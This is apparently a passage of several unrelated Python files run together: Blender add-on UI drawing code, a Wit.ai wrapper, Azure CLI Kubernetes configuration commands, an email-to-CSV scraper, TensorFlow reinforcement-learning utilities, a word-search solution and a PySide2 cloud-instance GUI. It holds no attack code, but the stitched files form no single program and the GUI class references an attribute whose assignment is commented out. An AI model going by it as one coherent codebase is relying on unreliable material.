            color = self.db.colors.Hops_UI_secondary_text_color

            render_text(text=self.label_text, position=(self.panel_padding + prefs_x_offset, self.panel_padding + self.padding_TB + prefs_y_offset), size=12, color=color)

    def draw(self, context):

        if self.mod_items != []:

            self.slice_mods()

            # Dims
            offset_y = 0
            key_max_width = 0
            desc_max_width = 0
            total_height = 0
            total_width = 0

            # Get text offsets
            largest_item = ""
            index = 0

            for item in self.mod_items:
                key, desc = item[0], item[1]

                # Text dims
                key_dims = get_blf_text_dims(text=key, size=self.font_size)
                desc_dims = get_blf_text_dims(text=desc, size=self.font_size)

                if key_dims[0] > key_max_width:
                    key_max_width = key_dims[0]
                    largest_item = key

                if desc_dims[0] > desc_max_width:
                    desc_max_width = desc_dims[0]

                offset_y = key_dims[1]
                index += 1

            offset_y += self.padding_TB
            total_height = (len(self.mod_items) * offset_y) + self.padding_TB
            key_max_width += self.padding_LR
            desc_max_width += self.padding_LR

            total_width = key_max_width + desc_max_width

            self.draw_elements(total_width, total_height)
            self.draw_text(key_max_width, offset_y, key_dims)

    def slice_mods(self):

        if not self.already_sliced:

            # Number mods
            if self.number_mods:

                numbering = 0
                for item in reversed(self.mod_items):

                    if item[0] == self.active_mod_name:
                        item[0] = str(numbering + 1) + " : " + item[0]
                        self.active_mod_name = item[0]

                    else:
                        item[0] = str(numbering + 1) + " : " + item[0]

                    numbering += 1

            # Get mod index
            mod_index = 0
            for item in self.mod_items:
                if item[0] == self.active_mod_name:
                    break
                else:
                    mod_index += 1

            # Slice
            start_slice = 0
            if mod_index >= self.db.prefs.ui.Hops_modal_mod_count_fast_ui:
                start_slice = mod_index - self.db.prefs.ui.Hops_modal_mod_count_fast_ui

            end_slice = len(self.mod_items)
            if len(self.mod_items) - mod_index >= self.db.prefs.ui.Hops_modal_mod_count_fast_ui:
                end_slice = mod_index + self.db.prefs.ui.Hops_modal_mod_count_fast_ui

            self.mod_items = self.mod_items[start_slice : end_slice]

    def draw_elements(self, total_width, total_height):

        prefs_x_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[0]
        prefs_y_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[1]

        # Background
        self.background_element.bottom_left =  (prefs_x_offset + self.panel_padding - self.padding_LR, self.panel_padding + prefs_y_offset)
        self.background_element.top_left =     (prefs_x_offset + self.panel_padding - self.padding_LR, total_height + self.panel_padding + self.padding_TB + prefs_y_offset)
        self.background_element.bottom_right = (prefs_x_offset + self.panel_padding + total_width, self.panel_padding + prefs_y_offset)
        self.background_element.top_right =    (prefs_x_offset + self.panel_padding + total_width, total_height + self.panel_padding + self.padding_TB + prefs_y_offset)
        self.background_element.draw()

        # Border
        if self.db.prefs.ui.Hops_modal_cell_border:
            self.border_element.bottom_left =  (prefs_x_offset + self.panel_padding - self.padding_LR, self.panel_padding + prefs_y_offset)
            self.border_element.top_left =     (prefs_x_offset + self.panel_padding - self.padding_LR, total_height + self.panel_padding + self.padding_TB + prefs_y_offset)
            self.border_element.bottom_right = (prefs_x_offset + self.panel_padding + total_width, self.panel_padding + prefs_y_offset)
            self.border_element.top_right =    (prefs_x_offset + self.panel_padding + total_width, total_height + self.panel_padding + self.padding_TB + prefs_y_offset)
            self.border_element.draw()

    def draw_text(self, key_max_width, offset_y, key_dims):

        prefs_x_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[0]
        prefs_y_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[1]

        # Draw text
        for index, item in enumerate(self.mod_items):
            key, desc = item[0], item[1]

            color = (0,0,0,0)
            if key == self.active_mod_name or str(index) == self.active_mod_name:
                color = self.db.colors.Hops_UI_mods_highlight_color
            else:
                color = self.db.colors.Hops_UI_secondary_text_color

            render_text(text=key, position=(prefs_x_offset + self.panel_padding, offset_y + self.panel_padding + prefs_y_offset - self.padding_TB), size=self.font_size, color=color)
            render_text(text=desc, position=(prefs_x_offset + self.panel_padding + key_max_width, offset_y + self.panel_padding + prefs_y_offset - self.padding_TB), size=self.font_size, color=color)

            offset_y += key_dims[1] + self.padding_TB

class Help():

    def __init__(self, db):

        self.db = db

        # Font
        self.font_size = int(12 * db.prefs.ui.Hops_modal_fast_ui_help_size)

        # Items
        self.help_items = []

        # Window BG
        self.window_background = Background_Element()
        self.window_background.db = db
        self.window_background.primary = False

        self.window_border = Border_Element()
        self.window_border.db = db
        self.window_border.line_width = 1

        # Label BG
        self.label_background = Background_Element()
        self.label_background.db = db
        self.label_background.primary = False

        self.label_border = Border_Element()
        self.label_border.db = db
        self.label_border.line_width = 1

        # Dimensions
        self.font_padding = 8 * db.scale_factor
        self.prefs_offset = db.prefs.ui.Hops_modal_fast_ui_help_offset
        self.panel_padding = db.prefs.ui.Hops_modal_fast_ui_padding * db.scale_factor

    def draw_label(self):

        text_dims = get_blf_text_dims(text="Press H", size=12)

        total_width = text_dims[0] + self.font_padding
        total_height = text_dims[1] + self.font_padding

        offset_x = self.db.event.screen_width - total_width - self.panel_padding
        offset_x += self.prefs_offset[0]
        bot_y = self.panel_padding + self.prefs_offset[1]
        top_y = self.panel_padding + self.prefs_offset[1] + total_height + self.font_padding

        if self.db.prefs.ui.Hops_modal_background:
            self.label_background.bottom_left  = (offset_x - self.font_padding, bot_y)
            self.label_background.bottom_right = (offset_x + total_width      , bot_y)
            self.label_background.top_left     = (offset_x - self.font_padding, top_y)
            self.label_background.top_right    = (offset_x + total_width      , top_y)
            self.label_background.draw()

        if self.db.prefs.ui.Hops_modal_cell_border:
            self.label_border.bottom_left  = (offset_x - self.font_padding, bot_y)
            self.label_border.bottom_right = (offset_x + total_width      , bot_y)
            self.label_border.top_left     = (offset_x - self.font_padding, top_y)
            self.label_border.top_right    = (offset_x + total_width      , top_y)
            self.label_border.draw()

        color = self.db.colors.Hops_UI_secondary_text_color
        render_text(text="Press H", position=(offset_x, self.panel_padding + self.font_padding + self.prefs_offset[1]), size=12, color=color)

    def draw(self, as_global=False):

        if not self.help_items: return

        help_items = []
        if as_global:
            if "GLOBAL" not in self.help_items: return
            help_items = self.help_items["GLOBAL"]
        else:
            if "STANDARD" not in self.help_items: return
            help_items = self.help_items["STANDARD"]
        if not help_items:
            help_items = [("Nothing available", "")]

        offset_y = 0
        offset_x = 0
        key_max_width = 0
        desc_max_width = 0
        total_height = 0
        prefs_x_offset = self.db.prefs.ui.Hops_modal_fast_ui_help_offset[0]
        prefs_y_offset = self.db.prefs.ui.Hops_modal_fast_ui_help_offset[1]

        longest_key_string = ""
        longest_val_string = ""

        for item in help_items:
            key, desc = item[0], item[1]

            if len(key) > len(longest_key_string):
                longest_key_string = key

            if len(desc) > len(longest_val_string):
                longest_val_string = desc

        key_dims = get_blf_text_dims(text=longest_key_string, size=self.font_size)
        desc_dims = get_blf_text_dims(text=longest_val_string, size=self.font_size)
        key_max_width = key_dims[0] + self.font_padding
        desc_max_width = desc_dims[0] + self.font_padding
        offset_y = key_dims[1] + self.font_padding

        total_height = (len(help_items) * offset_y) + self.font_padding * 2
        total_width = key_max_width + desc_max_width + self.font_padding

        offset_x = self.db.event.screen_width - total_width - self.panel_padding
        offset_x += prefs_x_offset

        if self.db.prefs.ui.Hops_modal_background:
            self.window_background.bottom_left =  (offset_x - self.font_padding, self.panel_padding + prefs_y_offset)
            self.window_background.bottom_right = (offset_x + total_width, self.panel_padding + prefs_y_offset)
            self.window_background.top_left =     (offset_x - self.font_padding, total_height + self.panel_padding + prefs_y_offset)
            self.window_background.top_right =    (offset_x + total_width, total_height + self.panel_padding + prefs_y_offset)
            self.window_background.draw()

        if self.db.prefs.ui.Hops_modal_cell_border:
            self.window_border.bottom_left =  (offset_x - self.font_padding, self.panel_padding + prefs_y_offset)
            self.window_border.bottom_right = (offset_x + total_width, self.panel_padding + prefs_y_offset)
            self.window_border.top_left =     (offset_x - self.font_padding, total_height + self.panel_padding + prefs_y_offset)
            self.window_border.top_right =    (offset_x + total_width, total_height + self.panel_padding + prefs_y_offset)
            self.window_border.draw()

        for item in help_items:

            key, desc = item[0], item[1]
            color = self.db.colors.Hops_UI_secondary_text_color
            render_text(text=key, position=(offset_x, offset_y + self.panel_padding + prefs_y_offset - self.font_padding), size=self.font_size, color=color)
            render_text(text=desc, position=(offset_x + key_max_width, offset_y + self.panel_padding + prefs_y_offset - self.font_padding), size=self.font_size, color=color)

            offset_y += key_dims[1] + self.font_padding

        msg = "Standard (Shift H)" if as_global else "Global (Shift H)"
        self.__draw_window_label(msg=msg, pos=(offset_x - self.font_padding, offset_y))

    def __draw_window_label(self, msg="", pos=(0,0)):

        text_dims = get_blf_text_dims(text=msg, size=12)

        total_width = text_dims[0] + self.font_padding * 2
        total_height = text_dims[1] + self.font_padding * 2

        x, y = pos
        y += self.font_padding * 4

        if self.db.prefs.ui.Hops_modal_background:
            self.label_background.bottom_left  = (x , y)
            self.label_background.bottom_right = (x + total_width, y)
            self.label_background.top_left     = (x, y + total_height)
            self.label_background.top_right    = (x + total_width, y + total_height)
            self.label_background.draw()

        if self.db.prefs.ui.Hops_modal_cell_border:
            self.label_border.bottom_left  = (x , y)
            self.label_border.bottom_right = (x + total_width, y)
            self.label_border.top_left     = (x, y + total_height)
            self.label_border.top_right    = (x + total_width, y + total_height)
            self.label_border.draw()

        y += self.font_padding
        x += self.font_padding
        color = self.db.colors.Hops_UI_secondary_text_color
        render_text(text=msg, position=(x, y), size=12, color=color)


from lisa_nlp.configuration import CONF as config
from lisa_nlp.nlp import base
import logging as logger
import requests

class WitNLP(base.NLPBase):
    def __init__(self):
        super(WitNLP, self).__init__()
        config.add_opt(name='server_token', value='XXXXXXXXXXXXXXXXXXXXXXXX', section='wit')
        self.token_wit = config.wit.server_token

    def get_nlp_intent(self, sentence):
        """
        Contact the Wit API to have the json of the sentence
        :param sentence: The sentence said by the user
        :return: Return the wit json answer
        """
        self.nlp_json = None
        r_wit = requests.get('https://api.wit.ai/message?v=20141022&q={sentence}'.format(sentence=sentence),
                             headers={"Authorization": "Bearer %s" % self.token_wit})
        if r_wit.ok:
            self.nlp_json = r_wit.json()
            return self.nlp_json
        else:
            logger.debug('There was a problem contacting Wit.ai')
            logger.debug(r_wit.content)
            return False


# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------

from azure.cli.core.azclierror import ResourceNotFoundError, CommandNotFoundError, \
    RequiredArgumentMissingError
from azure.core.exceptions import HttpResponseError
from knack.log import get_logger
from azext_k8s_configuration._utils import _get_cluster_type, \
    _fix_compliance_state, _get_data_from_key_or_file, _to_base64
from azext_k8s_configuration._validators import _validate_known_hosts, _validate_url_with_params, \
    _validate_configuration_name, _validate_cc_registration, _validate_private_key

from azext_k8s_configuration.vendored_sdks.models import SourceControlConfiguration
from azext_k8s_configuration.vendored_sdks.models import HelmOperatorProperties

logger = get_logger(__name__)

def show_k8s_configuration(client, resource_group_name, cluster_name, name, cluster_type):
    """Get an existing Kubernetes Source Control Configuration.

    """
    # Determine ClusterRP
    cluster_rp = _get_cluster_type(cluster_type)

    try:
        config = client.get(resource_group_name, cluster_rp, cluster_type, cluster_name, name)
        return _fix_compliance_state(config)
    except HttpResponseError as ex:
        # Customize the error message for resources not found
        if ex.response.status_code == 404:
            # If Cluster not found
            if ex.message.__contains__("(ResourceNotFound)"):
                message = ex.message
                recommendation = 'Verify that the --cluster-type is correct and the Resource ' \
                                 '{0}/{1}/{2} exists'.format(cluster_rp, cluster_type, cluster_name)
            # If Configuration not found
            elif ex.message.__contains__("Operation returned an invalid status code 'Not Found'"):
                message = '(ConfigurationNotFound) The Resource {0}/{1}/{2}/Microsoft.KubernetesConfiguration/' \
                          'sourcecontrolConfigurations/{3} could not be found!'.format(cluster_rp, cluster_type,
                                                                                cluster_name, name)
                recommendation = 'Verify that the Resource {0}/{1}/{2}/Microsoft.KubernetesConfiguration' \
                                 '/sourcecontrolConfigurations/{3} exists'.format(cluster_rp, cluster_type,
                                                                                cluster_name, name)
            else:
                message = ex.message
                recommendation = ''
            raise ResourceNotFoundError(message, recommendation) from ex

# pylint: disable=too-many-locals
def create_k8s_configuration(cmd, client, resource_group_name, cluster_name, name, repository_url, scope, cluster_type,
                             operator_instance_name=None, operator_namespace='default',
                             helm_operator_chart_version='1.4.0', operator_type='flux', operator_params='',
                             ssh_private_key='', ssh_private_key_file='', https_user='', https_key='',
                             ssh_known_hosts='', ssh_known_hosts_file='', enable_helm_operator=None,
                             helm_operator_params=''):
    """Create a new Kubernetes Source Control Configuration.

    """
    # Validate configuration name
    _validate_configuration_name(name)

    # Determine ClusterRP
    cluster_rp = _get_cluster_type(cluster_type)

    # Determine operatorInstanceName
    if operator_instance_name is None:
        operator_instance_name = name

    # Create helmOperatorProperties object
    helm_operator_properties = None
    if enable_helm_operator:
        helm_operator_properties = HelmOperatorProperties()
        helm_operator_properties.chart_version = helm_operator_chart_version.strip()
        helm_operator_properties.chart_values = helm_operator_params.strip()

    protected_settings = _get_protected_settings(ssh_private_key,
                                                 ssh_private_key_file,
                                                 https_user,
                                                 https_key)
    knownhost_data = _get_data_from_key_or_file(ssh_known_hosts, ssh_known_hosts_file)
    if knownhost_data:
        _validate_known_hosts(knownhost_data)

    # Flag which parameters have been set and validate these settings against the set repository url
    ssh_private_key_set = ssh_private_key != '' or ssh_private_key_file != ''
    known_hosts_contents_set = knownhost_data != ''
    https_auth_set = https_user != '' and https_key != ''
    _validate_url_with_params(repository_url,
                              ssh_private_key_set=ssh_private_key_set,
                              known_hosts_contents_set=known_hosts_contents_set,
                              https_auth_set=https_auth_set)

    # Validate that the subscription is registered to Microsoft.KubernetesConfiguration
    _validate_cc_registration(cmd)

    # Create sourceControlConfiguration object
    source_control_configuration = SourceControlConfiguration(repository_url=repository_url,
                                                              operator_namespace=operator_namespace,
                                                              operator_instance_name=operator_instance_name,
                                                              operator_type=operator_type,
                                                              operator_params=operator_params,
                                                              configuration_protected_settings=protected_settings,
                                                              operator_scope=scope,
                                                              ssh_known_hosts_contents=knownhost_data,
                                                              enable_helm_operator=enable_helm_operator,
                                                              helm_operator_properties=helm_operator_properties)

    # Try to create the resource
    config = client.create_or_update(resource_group_name, cluster_rp, cluster_type, cluster_name,
                                     name, source_control_configuration)

    return _fix_compliance_state(config)

def update_k8s_configuration(client, resource_group_name, cluster_name, name, cluster_type,
                             repository_url=None, operator_params=None, ssh_known_hosts='',
                             ssh_known_hosts_file='', enable_helm_operator=None, helm_operator_chart_version=None,
                             helm_operator_params=None):
    """Update an existing Kubernetes Source Control Configuration.

    """

    # TODO: Remove this after we eventually get PATCH implemented for update and uncomment
    raise CommandNotFoundError(
        "\"k8s-configuration update\" currently is not available. "
        "Use \"k8s-configuration create\" to update a previously created configuration."
    )

    # # Determine ClusterRP
    # cluster_rp = __get_cluster_type(cluster_type)

    # source_control_configuration_name = name.strip()

    # config = client.get(resource_group_name, cluster_rp, cluster_type, cluster_name,
    #                     source_control_configuration_name)
    # update_yes = False

    # # Set input values, if they are supplied
    # if repository_url is not None:
    #     config.repository_url = repository_url
    #     update_yes = True

    # if operator_params is not None:
    #     config.operator_params = operator_params
    #     update_yes = True

    # knownhost_data = get_data_from_key_or_file(ssh_known_hosts, ssh_known_hosts_file)
    # if knownhost_data:
    #     validate_known_hosts(knownhost_data)
    #     config.ssh_known_hosts_contents = knownhost_data
    #     update_yes = True

    # if enable_helm_operator is not None:
    #     config.enable_helm_operator = enable_helm_operator
    #     update_yes = True

    # # Get the helm operator properties from the config and set them
    # if config.helm_operator_properties is None:
    #     config.helm_operator_properties = HelmOperatorProperties()
    # if helm_operator_chart_version is not None:
    #     config.helm_operator_properties.chart_version = helm_operator_chart_version.strip()
    #     update_yes = True
    # if helm_operator_params is not None:
    #     config.helm_operator_properties.chart_values = helm_operator_params.strip()
    #     update_yes = True

    # if update_yes is False:
    #     raise RequiredArgumentMissingError(
    #         'Invalid update. No values to update!',
    #         'Verify that at least one changed parameter is provided in the update command')

    # # Flag which parameters have been set and validate these settings against the set repository url
    # known_hosts_contents_set = config.ssh_known_hosts_contents != ""
    # validate_url_with_params(config.repository_url,
    #                          ssh_private_key_set=False,
    #                          known_hosts_contents_set=known_hosts_contents_set,
    #                          https_auth_set=False)

    # config = client.create_or_update(resource_group_name, cluster_rp, cluster_type, cluster_name,
    #                                  source_control_configuration_name, config)

    # return __fix_compliance_state(config)

def list_k8s_configuration(client, resource_group_name, cluster_name, cluster_type):
    cluster_rp = _get_cluster_type(cluster_type)
    return client.list(resource_group_name, cluster_rp, cluster_type, cluster_name)

def delete_k8s_configuration(client, resource_group_name, cluster_name, name, cluster_type):
    """Delete an existing Kubernetes Source Control Configuration.

    """
    # Determine ClusterRP
    cluster_rp = _get_cluster_type(cluster_type)

    source_control_configuration_name = name

    return client.begin_delete(resource_group_name, cluster_rp, cluster_type, cluster_name, source_control_configuration_name)

def _get_protected_settings(ssh_private_key, ssh_private_key_file, https_user, https_key):
    protected_settings = {}
    ssh_private_key_data = _get_data_from_key_or_file(ssh_private_key, ssh_private_key_file)

    # Add gitops private key data to protected settings if exists
    # Dry-run all key types to determine if the private key is in a valid format
    if ssh_private_key_data != '':
        _validate_private_key(ssh_private_key_data)
        protected_settings["sshPrivateKey"] = ssh_private_key_data

    # Check if both httpsUser and httpsKey exist, then add to protected settings
    if https_user != '' and https_key != '':
        protected_settings['httpsUser'] = _to_base64(https_user)
        protected_settings['httpsKey'] = _to_base64(https_key)
    elif https_user != '':
        raise RequiredArgumentMissingError(
            'Error! --https-user used without --https-key',
            'Try providing both --https-user and --https-key together')
    elif https_key != '':
        raise RequiredArgumentMissingError(
            'Error! --http-key used without --http-user',
            'Try providing both --https-user and --https-key together')

    return protected_settings


# -*- coding: utf-8 -*-
import re
from bs4 import BeautifulSoup
from bs4.element import Comment
import sys
import os
import glob
import csv

count = 0
#Prog. to extract raw textual data from the body of an html file containing multiple emails and then extract them into a csv file

#To give us body of email
def tag_visible(element):
    if element.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]']:
        return False
    if isinstance(element, Comment):
        return False
    return True

def text_from_html(body):
    soup = BeautifulSoup(body, 'html.parser')
    texts = soup.findAll(text=True)
    visible_texts = filter(tag_visible, texts)
    return u" ".join(t.strip() for t in visible_texts)

#To give Label Data

print()
mypath = 'C:\\Users\\sidharth.m\\Desktop\\Project_sid_35352\\Icici data for test'

#root, dirs, files = os.walk('C:\\Users\\sidharth.m\\Desktop\\Project_sid_35352\\Icici proj').__next__()
#print(dirs)

#To get body content
print()
print()
for root, dirs, files in os.walk(mypath):
     print("dirs---------",dirs)

     for name in dirs:
        print("name----",name)
        htmllink=os.path.join(mypath,name)

        for filename in glob.glob(os.path.join(htmllink, '*.html')):
            #print(filename)
            html2=text_from_html(open(filename))
            #print(html2)
            string_input = html2
            input_list = string_input.split()

            #splits the input string on spaces
            # process string elements in the list and make them integers
            input_list = [str(a) for a in input_list]

            str1=u" ".join(input_list)

            findallObj = re.findall(r'Subject:(.*?)(From:|Delivery has failed to these recipients or groups:|Properties)', str1, re.M)

            label=name.split(",")

            print(label)
            print(filename)
            xyz=findallObj
            print(xyz)

            count = count + 1
            print(count)
            print ("----------------------------------------------------------------------------------------------------------------")

            with open('C:\\Users\\sidharth.m\\Desktop\\Project_sid_35352\\Test.csv', 'a', encoding="utf-8-sig") as f:

                writer = csv.writer(f)
                writer.writerows(zip(label,xyz))


from math import floor

import numpy as np
import tensorflow as tf
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
from scipy.signal import lfilter

# Copies one set of variables to another.
def update_target_graph(from_scope, to_scope):
    from_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope)
    to_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope)

    op_holder = []
    for from_var, to_var in zip(from_vars, to_vars):
        op_holder.append(to_var.assign(from_var))
    return op_holder

def update_target_graph_aux(from_scope, to_scope):
    from_vars = [v for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope) if "sf" not in v.name]
    to_vars = [v for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope) if "sf" not in v.name]

    op_holder = []
    for from_var, to_var in zip(from_vars, to_vars):
        op_holder.append(to_var.assign(from_var))
    return op_holder

def update_target_graph_sf(from_scope, to_scope):
    from_vars = [v for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, from_scope) if "sf" in v.name]
    to_vars = [v for v in tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, to_scope) if "sf" in v.name]

    op_holder = []
    for from_var, to_var in zip(from_vars, to_vars):
        op_holder.append(to_var.assign(from_var))
    return op_holder

def discount(x, gamma):
    # axis = len(x.shape) - 1
    return np.flip(lfilter([1], [1, -gamma], np.flip(x, 0), axis=0), axis=0)

def normalized_columns_initializer(std=1.0):
    def _initializer(shape, dtype=None, partition_info=None):
        out = np.random.randn(*shape).astype(np.float32)
        out *= std / np.sqrt(np.square(out).sum(axis=0, keepdims=True))
        return tf.constant(out)

    return _initializer

def make_gif(images, fname, duration=2, true_image=False):
    import moviepy.editor as mpy

    def make_frame(t):
        try:
            x = images[int(len(images) / duration * t)]
        except:
            x = images[-1]

        if true_image:
            return x.astype(np.uint8)
        else:
            return ((x + 1) / 2 * 255).astype(np.uint8)

    clip = mpy.VideoClip(make_frame, duration=duration)
    clip.write_gif(fname, fps=len(images) / duration, verbose=False)

def set_image_bandit(values, probs, selection, trial):
    bandit_image = Image.open('./resources/bandit.png')
    draw = ImageDraw.Draw(bandit_image)
    font = ImageFont.truetype("./resources/FreeSans.ttf", 24)
    draw.text((40, 10), str(float("{0:.2f}".format(probs[0]))), (0, 0, 0), font=font)
    draw.text((130, 10), str(float("{0:.2f}".format(probs[1]))), (0, 0, 0), font=font)
    draw.text((60, 370), 'Trial: ' + str(trial), (0, 0, 0), font=font)
    bandit_image = np.array(bandit_image)
    bandit_image[115:115 + floor(values[0] * 2.5), 20:75, :] = [0, 255.0, 0]
    bandit_image[115:115 + floor(values[1] * 2.5), 120:175, :] = [0, 255.0, 0]
    bandit_image[101:107, 10 + (selection * 95):10 + (selection * 95) + 80, :] = [80.0, 80.0, 225.0]
    return bandit_image

def set_image_bandit_11_arms(values, target_arm, selection, trial):
    bandit_image = Image.open('./resources/11arm.png')
    draw = ImageDraw.Draw(bandit_image)
    font = ImageFont.truetype("./resources/FreeSans.ttf", 24)
    print("target arm is {}. Selection is {}".format(target_arm, selection))
    delta = 90
    draw.text((40 + 1 * delta, 10), "T", (0, 0, 0), font=font)
    draw.text((40 + 2 * delta, 10), "I {}".format(target_arm), (0, 0, 0), font=font)
    draw.text((40 + 0 * delta, 10), "S", (0, 0, 0), font=font)
    draw.text((60, 370), 'Trial: ' + str(trial), (0, 0, 0), font=font)
    bandit_image = np.array(bandit_image)
    delta = 100
    for i in range(11):
        if i == target_arm:
            bandit_image[115:115 + floor(values[i] / 5 * 2.5), (20 + delta * 1):(75 + delta * 1), :] = [0, 255.0, 0]
        elif i == 10:
            bandit_image[115:115 + floor(values[i] / 5 * 2.5), (20 + delta * 2):(75 + delta * 2), :] = [0, 255.0, 0]
        else:
            bandit_image[115:115 + floor(values[i] / 5 * 2.5), (20 + delta * 0):(75 + delta * 0), :] = [0, 255.0, 0]
    if selection == target_arm:
        bandit_image[101:107, 10 + delta * 1:10 + delta * 1 + 85, :] = [80.0, 80.0, 225.0]
    elif selection == 10:
        bandit_image[101:107, 10 + delta * 2:10 + delta * 2 + 85, :] = [80.0, 80.0, 225.0]
    else:
        bandit_image[101:107, 10 + delta * 0:10 + delta * 0 + 85, :] = [80.0, 80.0, 225.0]
    return bandit_image


class Solution(object):
    def exist(self, board, word):
        """
        :type board: List[List[str]]
        :type word: str
        :rtype: bool
        """
        if not board or not board[0]:
            return False

        # loop through board to find the starting points, and keep them in a stack
        stack = []
        first_char = word[0]
        for r in xrange(len(board)):
            for c in xrange(len(board[0])):
                if board[r][c] == first_char:
                    stack.append([r,c])

        # flood fill from the starting points
        while stack:
            r, c = stack.pop()
            result = self.search(board, word, r, c, [])
            if result:
                return True

        return False

    def search(self, board, word, r, c, result):
        result.append(board[r][c])

        if len(result) == len(word):
            return True

        next_char = word[len(result)]
        # move left
        if self.can_move(board, next_char, r, c-1):
            curr_char = board[r][c]
            board[r][c] = "*"
            found = self.search(board, word, r, c-1, result)
            if found:
                return True

            # backtrack
            result.pop()
            board[r][c] = curr_char

        # move right
        if self.can_move(board, next_char, r, c+1):
            curr_char = board[r][c]
            board[r][c] = "*"
            found = self.search(board, word, r, c+1, result)
            if found:
                return True

            # backtrack
            result.pop()
            board[r][c] = curr_char

        # move up
        if self.can_move(board, next_char, r-1, c):
            curr_char = board[r][c]
            board[r][c] = "*"
            found = self.search(board, word, r-1, c, result)
            if found:
                return True

            # backtrack
            result.pop()
            board[r][c] = curr_char

        # move down
        if self.can_move(board, next_char, r+1, c):
            curr_char = board[r][c]
            board[r][c] = "*"
            found = self.search(board, word, r+1, c, result)
            if found:
                return True

            # backtrack
            result.pop()
            board[r][c] = curr_char

        return False

    def can_move(self, board, target_char, r, c):
        if 0 <= r and r < len(board) and 0 <= c and c < len(board[0]):
            if board[r][c] == target_char:
                return True
        return False


from PySide2.QtWidgets import *
from PySide2.QtGui import *
import time
import pandas as pd
from modules import functions
import os
import subprocess
import platform
import shutil
from modules import SettingsManager
settings = SettingsManager.settingsManager()

class tabMain(QWidget):

    global settings

    def __init__(self,parent):
        super().__init__(parent)

        self.instance_types = pd.read_csv(functions.resource_path('files/instances.csv'))

        # Acciones
        self.hbox_manipulate = QHBoxLayout()
        self.hbox_manipulate.addWidget(QLabel("Actions:"))

        self.on = QPushButton("Turn On")
        self.off = QPushButton("Turn Off")
        self.reset = QPushButton("Reset")

        self.grid_manipulate = QGridLayout()
        self.grid_manipulate.addWidget(self.on, 0, 0)
        self.grid_manipulate.addWidget(self.off, 0, 1)
        self.grid_manipulate.addWidget(self.reset, 0, 2)

        self.on.clicked.connect(self.fn_prender)
        self.off.clicked.connect(self.fn_apagar)
        self.reset.clicked.connect(self.fn_reset)

        # Tamaño
        self.grid_manipulate.addWidget(QLabel('Instance Size:'), 1, 0)
        self.instance_type = QComboBox()

        self.grid_manipulate.addWidget(self.instance_type, 1, 1)
        self.set_type = QPushButton("Set Size")
        self.grid_manipulate.addWidget(self.set_type, 1, 2)
        self.set_type.clicked.connect(self.fn_set_type)

        # Atributos
        self.hbox_attr = QHBoxLayout()
        self.hbox_attr.addWidget(QLabel("Instance Information:"))

        self.grid_attr = QGridLayout()
        self.grid_attr.addWidget(QLabel('Name'), 0, 0)
        self.name = QLineEdit()
        self.name.setReadOnly(True)
        self.grid_attr.addWidget(self.name, 0, 1)

        self.grid_attr.addWidget(QLabel('Type'), 1, 0)
        self.type = QLineEdit()
        self.type.setReadOnly(True)
        self.grid_attr.addWidget(self.type, 1, 1)

        self.grid_attr.addWidget(QLabel('USD / hour'), 2, 0)
        self.price = QLineEdit()
        self.price.setReadOnly(True)
        self.grid_attr.addWidget(self.price, 2, 1)

        self.grid_attr.addWidget(QLabel('IP'), 3, 0)
        self.ip = QLineEdit()
        self.ip.setReadOnly(True)
        self.grid_attr.addWidget(self.ip, 3, 1)

        self.grid_attr.addWidget(QLabel('Status'), 4, 0)
        self.status = QLineEdit()
        self.status.setReadOnly(True)
        self.grid_attr.addWidget(self.status, 4, 1)

        # Servicios
        self.hbox_serv = QHBoxLayout()
        self.hbox_serv.addWidget(QLabel("Launch Services:"))

        self.nomachine = QPushButton("Remote Desktop")
        self.rstudio = QPushButton("RStudio")
        self.jupyter = QPushButton("Jupyter")
        self.ssh = QPushButton("SSH")
        self.sftp = QPushButton("File Transfer")

        self.nomachine.clicked.connect(self.launch_nx)
        self.rstudio.clicked.connect(self.launch_rstudio)
        self.jupyter.clicked.connect(self.launch_jupyter)
        self.ssh.clicked.connect(self.launch_ssh)
        self.sftp.clicked.connect(self.launch_sftp)

        self.hbox_url = QGridLayout()
        self.hbox_url.addWidget(self.nomachine,0,0)
        self.hbox_url.addWidget(self.rstudio,0,1)
        self.hbox_url.addWidget(self.jupyter,1,0)
        self.hbox_url.addWidget(self.ssh, 1, 1)
        self.hbox_url.addWidget(self.sftp, 2, 0)

        self.refresh = QPushButton("Refresh")
        self.refresh.clicked.connect(self.fn_status)

        self.vbox = QVBoxLayout()
        self.vbox.addLayout(self.hbox_manipulate)
        self.vbox.addLayout(self.grid_manipulate)
        self.vbox.addLayout(self.hbox_attr)
        self.vbox.addLayout(self.grid_attr)
        self.vbox.addWidget(self.refresh)
        self.vbox.addLayout(self.hbox_serv)
        self.vbox.addLayout(self.hbox_url)

        self.setLayout(self.vbox)
        self.fn_status()

    def fn_status(self):

        global settings

        if settings.getParam('os') == 'Linux':
            self.rstudio.setEnabled(True)
            self.jupyter.setEnabled(True)
        elif settings.getParam('os') == 'Windows':
            self.rstudio.setEnabled(False)
            self.jupyter.setEnabled(False)

        self.vm_name = settings.getParam('vm_name')

        #self.i = settings.getInstance()
        if self.i == None:
            print("please setup api keys")

        try:
            state = self.i.state["Name"]
            self.status.setText(state)

            self.instance_type.clear()

            for x in self.instance_types.values:
                self.instance_type.addItem(x[1],x[2])

            current_type = self.instance_types.loc[self.instance_types.id ==self.i.instance_type].values
            self.instance_type.setCurrentText(current_type[0][1])

            tags = functions.tagsToDict(self.i.tags)
            #print(tags)
            self.name.setText(tags["Name"])
            self.type.setText(self.i.instance_type)
            self.price.setText(functions.get_price(self.i.instance_type))
        except:
            self.name.setText("Invalid ID")
        try:
            self.ip.setText(settings.getIP())
        except:
            self.ip.setText("")

    def fn_prender(self):
        self.i.start()
